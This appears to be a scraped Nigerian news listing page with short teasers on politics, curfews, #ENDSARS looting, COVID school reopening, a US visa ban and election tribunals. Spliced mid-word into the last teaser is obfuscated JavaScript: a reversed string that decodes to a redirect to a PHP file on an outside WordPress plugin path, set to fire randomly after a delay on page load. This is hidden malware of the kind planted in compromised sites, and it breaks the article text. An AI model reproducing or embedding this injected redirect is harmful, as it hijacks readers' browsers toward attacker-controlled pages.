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Minister of Justice Abubakar Malami has rubbished the reports claiming that his 2023 governorship campaign posters have flooded streets in Kebbi State. Malami’s response to the reports was contained in a statement by his Special Assistant on Media and Public Relations, Dr Umar Jibrilu-Gwandu in Birnin Kebbi on Friday. Jibrilu-Gwandu, in the statement, said: “Our […]

Gov. Ben Ayade of Cross River says the state will require N5 billion to repair the Calabar International Conference Centre (CICC) vandalised by hoodlums. Ayade made this known on Monday, while restating the curfew imposed on Calabar and its environs. The hoodlums had on Friday and Saturday taken advantage of the #ENDSARS protests to loot […]

  Mr Yusuf Mugu (PDP-Kaura), a lawmaker in Kaduna State House of Assembly, has urged members of his constituency to remain calm, tolerant and obey constituted authorities in view of the 24-hour curfew imposed on the state. Mugu made the appeal in Kaduna on Monday. He said although the entire polity was heated, constituents should […]

The National Public Relations Officer, College of Education Academic Staff Union (COEASU) , Dr. Ahmed Lawan Bazza, has said it will be dangerous to reopen  schools without adequate preparation and proper health facilities. He said: “COEASU is not averse to schools resumption but all the COVID-19 protocols especially the non-pharmaceuticals aspect as presented by the […]

The Federal Government and the United States are presently holding a meeting on the visa ban on some categories of Nigerians. The meeting, which is ongoing at the Ministry of Foreign Affairs, is expected to provide the country the opportunity to brief the US government on steps taken so far to resolve the issues. The […]

US President Donald Trump on Monday vowed that any attack by Iran would be met with a response “1,000 times greater in magnitude,” after reports that Iran planned to avenge the killing of top general Qasem Soleimani. A US media report, quoting unnamed officials, said that an alleged Iranian plot to assassinate the US ambassador to South […]

Former Nigerian President, Goodluck Jonathan has said that electronic voting is the only way to get to credible elections in Nigeria and the rest of Africa. Speaking on the presidential panel of The Osasu Show Symposium 2020, Jonathan said the outcome of elections should be decided by the ballots, not by any other means — not […]

The Senate Committee on Constitution Review has given in to pressures from Nigerians by extending the deadline for memorandum submission to September 18. The panel had given Nigerians two weeks, which ended on Wednesday, to send in their input for consideration in its proposed review of the 1999 constitution.   The panel’s Secretariat said on […]

Ahead of the Ondo, Edo governorship elections Chief Justice of Nigeria, Justice Tanko Muhammad, will on Thursday swear in 85 judges. The Judges are to serve on the election petition tribunals to be set up for the election in both states. In a statement signed by the Media Officer of the Court of Appeal, Sa’adatu […]

Protesters from the Niger State Chapter of the Peoples Democratic Party on Wednesday stormed the PDP Legacy House in Maitama Abuja, venue of an ongoing PDP National Working Committee meeting, to dem$Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and the sacking of the party’s National Financial [...]

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